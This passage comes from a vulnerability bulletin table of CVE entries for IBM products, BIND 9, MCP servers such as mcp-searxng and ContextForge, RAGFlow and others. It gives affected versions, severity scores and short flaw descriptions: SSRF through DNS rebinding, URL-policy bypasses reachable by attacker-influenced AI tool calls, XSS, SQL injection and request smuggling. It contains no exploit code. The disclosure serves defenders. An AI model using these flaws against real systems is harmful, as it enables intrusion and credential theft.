&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17628&quot; target=&quot;_blank&quot;&gt;CVE-2026-17628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow an authenticated attacker to access another user&#039;s MCP server context due to improper cache key isolation in the MCP Tools component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12763&quot; target=&quot;_blank&quot;&gt;CVE-2026-12763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--mcp-context-forge&lt;/td&gt;
&lt;td&gt;ContextForge is an AI gateway, registry, and proxy that provides centralized discovery, guardrails, and management for MCP, A2A, and REST or gRPC APIs. Prior to 1.0.3, the /admin/gateways/test call site in mcpgateway/admin.py calls validate_gateway_test_url() in mcpgateway/common/validators.py to resolve and reject private, loopback, link-local, and cloud-metadata addresses, but ResilientHttpClient later resolves the original hostname again without binding the validated address. When MCPGATEWAY_ADMIN_API_ENABLED is enabled, an attacker with a database-backed role containing explicit gateways.read permission can use DNS rebinding to return a public address during validation and a private or metadata address during connection, bypassing ssrf_blocked_networks and ssrf_dns_fail_closed because those controls apply only to the validation-time result. The endpoint&#039;s allow_admin_bypass=False setting means a bootstrap-only virtual platform-admin identity without a database role is not sufficient. Successful exploitation can reach internal services and cloud metadata, expose cloud credentials, access internal APIs, or probe internal network ports. This issue is fixed in version 1.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53708&quot; target=&quot;_blank&quot;&gt;CVE-2026-53708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker with MFT publish authority to obtain sensitive information or cause a denial of service due to XML external entity injection in the mqweb MFT REST API.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13265&quot; target=&quot;_blank&quot;&gt;CVE-2026-13265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--QRadar&lt;/td&gt;
&lt;td&gt;IBM QRadar 7.5.0 through 7.5.0 UP15 Interim Fix 006 could allow an authenticated user to obtain sensitive information from backup files due to incorrect permissions assignment.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-33141&quot; target=&quot;_blank&quot;&gt;CVE-2025-33141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Sterling B2B Integrator&lt;/td&gt;
&lt;td&gt;IBM Sterling B2B Integrator 6.2.0.0 through 6.2.0.6_2, 6.2.1.0 - 6.2.1.2, 6.2.2.0 - 6.2.2.1 and IBM Sterling File Gateway 6.2.0.0 through 6.2.0.6_2, 6.2.1.0 - 6.2.1.2, 6.2.2.0 - 6.2.2.1 Standard Edition could allow a remote authenticated attacker to bypass security restrictions due to improper authentication.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19273&quot; target=&quot;_blank&quot;&gt;CVE-2026-19273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Sterling Partner Engagement Manager Essentials Edition&lt;/td&gt;
&lt;td&gt;IBM Sterling Partner Engagement Manager Essentials Edition 6.3.0.0 through 6.3.0.2, and 6.2.4.0 through 6.2.4.4 and IBM Sterling Partner Engagement Manager Standard Edition 6.2.4.0 through 6.2.4.4 could allow an unauthenticated user to cause a denial of service in the email service due to improper control of interaction frequency.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-13882&quot; target=&quot;_blank&quot;&gt;CVE-2025-13882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Sterling Secure Proxy&lt;/td&gt;
&lt;td&gt;IBM Sterling Secure Proxy 6.2.0.0 through 6.2.1.2 could allow a remote authenticated attacker to perform UI spoofing and phishing attacks due to improper neutralization of user-supplied HTML markup.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78415&quot; target=&quot;_blank&quot;&gt;CVE-2026-78415&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Sterling Secure Proxy&lt;/td&gt;
&lt;td&gt;IBM Sterling Secure Proxy 6.2.0.0 through 6.2.1.2 could allow a remote authenticated attacker to view administrative user interface components due to client-side authorization bypass.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75792&quot; target=&quot;_blank&quot;&gt;CVE-2026-75792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--TS4300&lt;/td&gt;
&lt;td&gt;IBM TS4300 1.1.0.1 through 1.7.1.1 could allow an authenticated user to cause a denial of service in the email service due to improper control of interaction frequency.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-36045&quot; target=&quot;_blank&quot;&gt;CVE-2025-36045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 8.5 is affected by an HTTP request smuggling vulnerability due to improper handling of Content-Length headers.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11710&quot; target=&quot;_blank&quot;&gt;CVE-2026-11710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0 and 8.5 is affected by a deserialization vulnerability in the Name Service component.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11711&quot; target=&quot;_blank&quot;&gt;CVE-2026-11711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty are vulnerable to HTTP request smuggling, caused by improper parsing of the HTTP transfer-encoding request header. By sending a specially crafted HTTP transfer-encoding request header, an attacker could exploit this vulnerability to poison the web cache, bypass web application firewall protection, and conduct XSS attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15396&quot; target=&quot;_blank&quot;&gt;CVE-2026-15396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15412&quot; target=&quot;_blank&quot;&gt;CVE-2026-15412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty are vulnerable to HTTP request smuggling, caused by improper parsing of the HTTP transfer-encoding request header. By sending a specially crafted HTTP transfer-encoding request header, an attacker could exploit this vulnerability to poison the web cache, bypass web application firewall protection, and conduct XSS attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15634&quot; target=&quot;_blank&quot;&gt;CVE-2026-15634&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to bypass authentication on an admin console servlet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16185&quot; target=&quot;_blank&quot;&gt;CVE-2026-16185&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to bypass authentication and obtain sensitive information by sending a crafted unauthenticated request.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16187&quot; target=&quot;_blank&quot;&gt;CVE-2026-16187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0 and 8.5 is affected by an authentication bypass vulnerability in the SOAP/JMX connector.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11539&quot; target=&quot;_blank&quot;&gt;CVE-2026-11539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0 and 8.5 could allow a remote attacker to obtain sensitive information about the file system through the FileTransfer servlet.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11540&quot; target=&quot;_blank&quot;&gt;CVE-2026-11540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 is affected by blind server-side request forgery when processing SOAP requests.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15887&quot; target=&quot;_blank&quot;&gt;CVE-2026-15887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 is affected by a reflected cross-site scripting vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16186&quot; target=&quot;_blank&quot;&gt;CVE-2026-16186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to inject forged log entries into the server&#039;s administrative log.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16188&quot; target=&quot;_blank&quot;&gt;CVE-2026-16188&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 is affected by an authentication bypass vulnerability when using XD or Intelligent-Management features.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16435&quot; target=&quot;_blank&quot;&gt;CVE-2026-16435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to obtain sensitive information about the file system through the FileTransfer servlet.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11537&quot; target=&quot;_blank&quot;&gt;CVE-2026-11537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to inject forged log entries into the server&#039;s administrative log.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16189&quot; target=&quot;_blank&quot;&gt;CVE-2026-16189&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ihor-sokoliuk--mcp-searxng&lt;/td&gt;
&lt;td&gt;mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.2.0, web_url_read passes a caller-supplied URL to the server-side fetch path while assertUrlAllowed() in src/url-reader.ts runs only when MCP_HTTP_HARDEN is enabled, even though MCP_HTTP_HARDEN is disabled by default in src/http-security.ts. In the default configuration, an attacker who influences the URL selected by a user or AI agent can make the server fetch loopback, private-network, or cloud metadata endpoint resources and return their contents into the model context. file:// URLs remain rejected, and the separate DNS-resolution and redirect-validation bypasses are outside this record. This issue is fixed in version 1.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54688&quot; target=&quot;_blank&quot;&gt;CVE-2026-54688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ihor-sokoliuk--mcp-searxng&lt;/td&gt;
&lt;td&gt;mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.2.0, the web_url_read URL policy in src/url-reader.ts can be bypassed while MCP_HTTP_HARDEN is enabled and MCP_HTTP_ALLOW_PRIVATE_URLS is not enabled because redirect targets are not revalidated, 0.0.0.0 is not classified as an internal address, and IPv4-mapped IPv6 literals canonicalized to hexadecimal form are not recognized. These inputs allow an attacker-influenced tool call to make the MCP server fetch loopback or internal HTTP resources and return content from local services, private APIs, service-mesh endpoints, or cloud metadata endpoints. The separate hostname-to-private-address case addressed by the earlier partial fix is not part of these residual bypasses. This issue is fixed in version 1.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54689&quot; target=&quot;_blank&quot;&gt;CVE-2026-54689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;imzbf--md-editor-v3&lt;/td&gt;
&lt;td&gt;md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. Prior to 6.5.4, MdPreview&#039;s useMarkdownIt() highlight callback in packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts inserts a fenced-code language value into class and language HTML attributes without escaping or consistently quoting it. Both highlighted and non-highlighted rendering paths reach this return value, while XSSPlugin filters only existing html_block and html_inline tokens before rendering and therefore cannot inspect the renderer-generated HTML. An attacker who can supply Markdown can use crafted fenced-code metadata to execute JavaScript in the application origin when a victim renders it, including as stored cross-site scripting when the host persists the Markdown. This issue is fixed in version 6.5.4&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84992&quot; target=&quot;_blank&quot;&gt;CVE-2026-84992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;infiniflow--ragflow&lt;/td&gt;
&lt;td&gt;RAGFlow through 0.27.2 contains a path traversal vulnerability in the dev_insert_chunks_from_file and dev_insert_metadata_from_file endpoints that allows authenticated attackers to read arbitrary files by supplying absolute file paths in the file_path parameter. Attackers with valid access tokens can exploit missing path validation to read any file accessible to the service, with disclosure limited to files matching expected JSON structures that are then written to datasets.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93013&quot; target=&quot;_blank&quot;&gt;CVE-2026-93013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ipa-lab--HackingBuddyGPT&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in ipa-lab HackingBuddyGPT up to 0.5.0. This affects the function ssh_run_command of the file src/hackingBuddyGPT/extensions/ssh_run_command.py. Such manipulation leads to os command injection. The attack can be launched remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90621&quot; target=&quot;_blank&quot;&gt;CVE-2026-90621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;For a secondary zone with transfers restricted by TSIG, `named` may start to serve the data provided in a zone transfer before the final message with the TSIG signature arrives. This could allow an attacker that does not actually possess a valid TSIG signature to send unauthorized zone contents to a secondary server. Although no TSIG signature ever arrives, `named` does not rollback to the pre-transfer state. To exploit the vulnerability, the transfer must be a multi-message TCP IXFR, as described by RFC 8945. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19033&quot; target=&quot;_blank&quot;&gt;CVE-2026-19033&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;An attacker may be able to cause a `named` resolver to abort. The attack requires inducing the victim resolver to send multiple queries for a DNSSEC-signed zone hosted by an authoritative server under the control of the attacker. If the auth responds with a particular sequence of crafted answers, and those answers arrive in a particular order with particular timing, the `named` resolver will encounter a use-after-free bug, and abort. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19662&quot; target=&quot;_blank&quot;&gt;CVE-2026-19662&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;A BIND recursive resolver may experience excessive resource consumption if it encounters large numbers of a particular kind of invalid DNSSEC record. Default limits on &quot;max-records-per-type&quot; and &quot;max-types-per-name&quot; help mitigate the exposure. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19668&quot; target=&quot;_blank&quot;&gt;CVE-2026-19668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;An inapplicable NSEC record may be accepted by a `named` resolver as proof that no wildcard exists, which could allow an attacker at the same or an upstream level of the zone name to mask the existence of a victim&#039;s wildcard record. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19941&quot; target=&quot;_blank&quot;&gt;CVE-2026-19941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;In a query response, an attacker may send `named` multiple copies of a record that should only exist once (such as an SOA record). If the RDATA is the same on all the copies, the record is appended to the in-memory RDATA set, which can cause increased memory usage of the negative cache and possibly lead to other memory attack vectors. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75029&quot; target=&quot;_blank&quot;&gt;CVE-2026-75029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;A validly signed NSEC3 from an unrelated sibling zone may be accepted as an insecurity proof, downgrading a secure delegation and letting a forged unsigned answer through. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77119&quot; target=&quot;_blank&quot;&gt;CVE-2026-77119&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;A malformed zone may contain an NS or DNAME node above its origin, which `named` treats as a zone cut. If an attacker inserts a malformed zone into a BIND authoritative server (e.g., via zone transfer), queries for names inside the configured zone then lose authoritative status and return an out-of-zone delegation. On a server that also provides recursion BIND can follow this locally sourced cut and cache attacker-supplied data, affecting names outside the configured zone. This situation persists as long as the malformed zone remains in the zone database. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78301&quot; target=&quot;_blank&quot;&gt;CVE-2026-78301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Leave Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in itsourcecode Leave Management System 1.0. This affects an unknown function of the file /module/company/index.php. The manipulation of the argument ID leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90796&quot; target=&quot;_blank&quot;&gt;CVE-2026-90796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Leave Management System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in itsourcecode Leave Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /module/employee/index.php. The manipulation of the argument ID leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92364&quot; target=&quot;_blank&quot;&gt;CVE-2026-92364&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Leave Management System&lt;/td&gt;
&lt;td&gt;A flaw has been found in itsourcecode Leave Management System 1.0. This affects an unknown function of the file /module/leave/index.php. Executing a manipulation of the argument ID can lead to sql injection. The attack may be launched remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92526&quot; target=&quot;_blank&quot;&gt;CVE-2026-92526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Leave Management System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in itsourcecode Leave Management System 1.0. This affects an unknown function of the file /module/department/controller.php. The manipulation of the argument DEPTID leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
